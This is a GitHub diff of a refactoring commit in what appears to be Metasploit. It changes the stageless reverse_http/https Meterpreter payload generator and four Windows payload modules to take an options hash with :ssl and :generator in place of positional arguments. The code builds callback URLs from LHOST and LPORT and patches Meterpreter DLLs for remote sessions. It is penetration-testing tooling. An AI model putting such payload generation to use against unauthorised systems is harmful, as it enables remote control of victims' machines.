File tree Expand file tree Collapse file tree 5 files changed +32
-19
lines changed
lib/msf/core/handler/reverse_http
modules/payloads/singles/windows Expand file tree Collapse file tree 5 files changed +32
-19
lines changed Original file line number Diff line number Diff line change @@ -26,25 +26,30 @@ def initialize_stageless
26
26
] , self . class )
27
27
end
28
28
29
- def generate_stageless ( ssl , &block )
30
- url = "https://#{ datastore [ 'LHOST' ] } :#{ datastore [ 'LPORT' ] } #{ generate_uri_uuid_mode ( :connect ) } /"
29
+ def generate_stageless ( opts = { } )
30
+ unless opts [ :generator ]
31
+ raise ArgumentError , "Stageless generation requires a generator argument"
32
+ end
31
33
32
- unless block_given ?
33
- raise ArgumentError , "Stageless generation requires a block argument"
34
+ if opts [ :ssl ] . nil ?
35
+ raise ArgumentError , "Stageless generation requires an ssl argument"
34
36
end
35
37
38
+ url = "http#{ opts [ :ssl ] ? "s" : "" } ://#{ datastore [ 'LHOST' ] } :#{ datastore [ 'LPORT' ] } "
39
+ url << "#{ generate_uri_uuid_mode ( :connect ) } /"
40
+
36
41
# invoke the given function to generate the architecture specific payload
37
- block . call ( url ) do |dll |
42
+ opts [ :generator ] . call ( url ) do |dll |
38
43
39
44
verify_cert_hash = nil
40
- if ssl
45
+ if opts [ : ssl]
41
46
verify_cert_hash = get_ssl_cert_hash ( datastore [ 'StagerVerifySSLCert' ] ,
42
47
datastore [ 'HandlerSSLCert' ] )
43
48
end
44
49
45
50
Rex ::Payloads ::Meterpreter ::Patch . patch_passive_service! ( dll ,
46
51
:url => url ,
47
- :ssl => ssl ,
52
+ :ssl => opts [ : ssl] ,
48
53
:ssl_cert_hash => verify_cert_hash ,
49
54
:expiration => datastore [ 'SessionExpirationTimeout' ] . to_i ,
50
55
:comm_timeout => datastore [ 'SessionCommunicationTimeout' ] . to_i ,
Original file line number Diff line number Diff line change @@ -37,9 +37,11 @@ def initialize(info = {})
37
37
def generate
38
38
# generate a stageless payload using the x86 version of
39
39
# the stageless generator
40
- generate_stageless ( false , &method ( :generate_stageless_x86 ) )
40
+ opts = {
41
+ :ssl => false ,
42
+ :generator => method ( :generate_stageless_x86 )
43
+ }
44
+ generate_stageless ( opts )
41
45
end
42
46
43
47
end
44
-
45
-
Original file line number Diff line number Diff line change @@ -37,8 +37,11 @@ def initialize(info = {})
37
37
def generate
38
38
# generate a stageless payload using the x86 version of
39
39
# the stageless generator
40
- generate_stageless ( true , &method ( :generate_stageless_x86 ) )
40
+ opts = {
41
+ :ssl => true ,
42
+ :generator => method ( :generate_stageless_x86 )
43
+ }
44
+ generate_stageless ( opts )
41
45
end
42
46
43
47
end
44
-
Original file line number Diff line number Diff line change @@ -37,10 +37,11 @@ def initialize(info = {})
37
37
def generate
38
38
# generate a stageless payload using the x64 version of
39
39
# the stageless generator
40
- generate_stageless ( false , &method ( :generate_stageless_x64 ) )
40
+ opts = {
41
+ :ssl => false ,
42
+ :generator => method ( :generate_stageless_x64 )
43
+ }
44
+ generate_stageless ( opts )
41
45
end
42
46
43
47
end
44
-
45
-
46
-
Original file line number Diff line number Diff line change @@ -37,9 +37,11 @@ def initialize(info = {})
37
37
def generate
38
38
# generate a stageless payload using the x64 version of
39
39
# the stageless generator
40
- generate_stageless ( true , &method ( :generate_stageless_x64 ) )
40
+ opts = {
41
+ :ssl => true ,
42
+ :generator => method ( :generate_stageless_x64 )
43
+ }
44
+ generate_stageless ( opts )
41
45
end
42
46
43
47
end
44
-
45
-
You can’t perform that action at this time.
0 commit comments